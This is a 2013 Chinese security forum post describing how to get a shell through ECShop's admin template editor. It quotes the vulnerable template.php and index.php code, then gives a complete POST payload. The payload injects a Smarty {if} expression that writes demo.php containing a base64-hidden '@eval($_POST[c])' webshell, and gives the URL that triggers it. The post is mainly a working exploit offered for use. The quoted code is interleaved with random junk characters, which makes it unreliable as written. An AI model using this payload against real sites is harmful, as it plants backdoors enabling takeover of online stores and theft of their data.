找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2999|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
9 {+ v3 U& m/ K
" X! h9 ]$ J# }% B& e而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
7 n* J& M' P" i" t但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
+ \. v4 K( J3 ~7 [8 |admin/template.php- C. g& r: k9 m2 y* p" J
" V; U  y4 C5 Z; J
1 if ($_REQUEST['act'] == 'update_library')
! s& b3 W9 ?* E' k( j
, z  O. J: T; H( [; e2   
8 [: I! n* ^% L  s( ?) q9 g) X- J  @( [$ r% N
3 { 8 [9 a! I3 N, s) I& l5 `

) n* ]) x# W8 n9 I+ x4     check_authz_json('library_manage'); 3 s4 F. K" {! x# w- k% k
6 H6 F8 b" F% n# k8 N  y
5   
4 t4 \& x  i* g3 @' u8 m6 }% i
( V+ q+ p6 E6 N3 Z: [- [6     $html = stripslashes(json_str_iconv($_POST['html'])); ( b0 I! Q6 d& y; ]4 Q6 h6 b" k! p

, B! ?! m" C3 f  V7   % p# o1 }5 x/ l7 _& P- t2 H, H

% U, z, D7 n" ^8 T* B6 J' }8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ h  Q/ v4 z# ]: v
' o6 F/ p" k& H5 W5 g: q9   1 Y% U+ C. ?. f' C. t! w5 ]  a
' V; N, }: I2 @6 @
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
# G* l! ^% O: L, Q2 G7 _; |8 e6 W- e- q
11   ) b; [8 B- G  p' N* \4 }) Q( s
; I; L; ?2 ]  O# ~5 a4 u
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 1 q" Y4 u; b) g9 G( j( b
6 O! T& G6 ~8 F$ l4 _+ q: ]
13   
* N' q' q, h; F3 r$ Z$ N: {+ |; ~) R5 e, T  Z0 _
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 - u, R% e6 W9 O$ B: i+ ], C
$ y7 w+ W# U8 Z- a& Y" A
15     { 1 c4 k' w+ a' i- h3 W2 |

0 e$ a( R0 D; r* [16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 7 q& `% }' D$ q# \5 Q* {8 u
0 v( y  U; ]4 H' E3 a* D' g
17         make_json_result('', $_LANG['update_lib_success']);   D& V" x+ d" x0 L4 g
% |- O8 J( A) C
18     } ! V7 e; S5 I9 m8 D7 N) O) j

& W2 O) L* z0 R6 @0 c- h6 ^: O19     else 0 x3 S  B, `" S3 e  d
5 _. w2 V9 L% g4 ]4 E
20     { , T; ~- S: f( e5 r6 R% C/ Q

% V) H$ w/ l4 A* s! t0 U8 C9 |. q21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
5 v: [- v8 Q# @1 q/ W/ f, E6 r1 j! w
22     }
; R1 @7 t6 q9 x* n! C' X0 C5 l6 i& H- h5 C  j) s" ^( y
23 }
) T# m5 U3 U2 `: q; l7 a
2 w' {$ K# }1 t那么找个比较方便调用了模板的文件
) n- r3 d/ ^8 e! `: y- Uindex.php0 ^( d+ |0 `+ O  t! N+ ?3 x4 Y

' ~' ]4 n# Q& [, X+ P  e* C1 if ($act == 'cat_rec')
5 @  u+ k# \9 q, }* S
: j6 y4 _4 o, O; L" |$ J2   
1 d" k6 v) i( w' g. a. j" m
0 N3 x% D+ @! M) ~7 Y* \3 {
( ]* E& C9 {: ^5 [+ s6 Z- l% M8 X+ n8 s
4   
8 ]( G# F4 R) J' Z( t/ m  J* w% l0 b$ p. z
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); / O! g8 |: K' P# U  C
* L. J- a- G) i/ @6 u) l" y( d
6   9 t6 w( @9 \% m+ Y) g' b+ b+ |
# y. R6 p6 c7 j* Y+ E. R6 T4 [
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
$ A  _: T% M: t6 q' y" F
8 k: }  j% t2 \' J/ g8   
6 c: F4 m" F' p" a, y2 K9 A0 |! R$ a) x+ W- ]7 x! ^
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; # y% z6 h; q7 y7 d7 g7 Q  Y

- y7 ?" F5 @% e  f10   
  @; k* Z4 v3 Q7 ?
) G' {3 U, o" u/ |11     include_once('includes/cls_json.php'); 7 o! @% e) k: [9 f9 s! t

' q$ M' R, k! v* X12   
" d- s! n: m+ q6 Q( t
  \. l- R! t4 W' o' [13     $json = new JSON;
7 Z$ I. _! z& s0 E
3 U6 {" A+ m, p) s14   ; ~/ L& Y( C- a3 J
- \8 ?( K1 z* d9 k. R
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ' h! @. J4 q. c  t% \6 {/ }' G
' p# i+ u" z/ h; v+ h
16   
8 F2 b) g; t4 _$ M% e9 b. }6 M6 ?- S* e) z# J8 K5 h3 I' ^4 j; t
17     $children = get_children($cat_id);
9 q4 H% h+ {/ o+ H& u2 q3 |4 G7 o; ~
18   
( M! R3 c% ]% r+ Q9 h4 q, y& x  Q
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 . @8 }% A1 I7 f! L2 ]) s
  v* p: k5 H* o+ k. e
20   
( N/ P6 y& R" d0 N- k$ b
5 @* n% H) Q# L: J% Q, s21     $smarty->assign('cat_rec_sign', 1);
, N# y: K1 Y7 h3 ?  W; {7 S/ n0 F; L
22   
* _4 l, a# v  L6 x0 M7 v, g8 W  [
% b9 S. y/ U, j. `& S- A23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
" f, D. U5 \8 n2 p' _
4 r$ t- {+ K; H+ {" }24   $ Z2 m5 t$ G- B( C- i/ ^5 @
0 E8 o2 M* T$ \, m
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; / T8 @; N, B. [& ~
5 u/ X( X, V8 s$ J
26     v9 ]' |! ]7 w% q* g$ h

+ Y" o% V) V+ Y" s+ s6 ]- O27         echo $rec_array[$rec_type];
2 Y7 G  w* K' d+ |) L6 d
; v7 |$ I  Q$ U6 y1 W28   
! @+ ~9 l7 ]5 S* K9 ], R4 j
$ a6 @0 m6 ^8 {) T2 b, e29     die($json->encode($result));
3 P, k  I% r2 l8 q1 v5 \
/ Y3 y9 J9 S: O8 }30   
5 i$ @! W+ H  ]: L" o5 Z& H: F$ P3 o+ j" z. F, P6 A; l
31 } 4 u$ ~2 k$ j8 a; `: V

& G5 B% D. o8 a: u那么就有利用方法了
; C! e+ V5 R/ ]- j0 ^/ @9 Rpost包到http://localhost/ec/admin/template.php?act=update_library
6 k3 W2 ^" y# @9 k0 SPost内容:' `3 M4 C& J" C) X' M4 S! C

0 j9 e) m9 v& t; w: L0 ~$ }; g$ @' y/ w  ]: I+ G
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
7 O5 E: z4 g: h* a
1 h! j, i, [- F6 k* p然后访问http://localhost/ec/index.php?act=cat_rec
1 s. C: Y+ Y  `1 a- h* ~8 O; m! r8 \! p7 N5 K
shel地址:http://localhost/ec/demo.php
' @, R+ @' ~* a密码c$ I9 z! e/ C: M4 v
4 b+ V/ M" B8 ^! D( J# W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表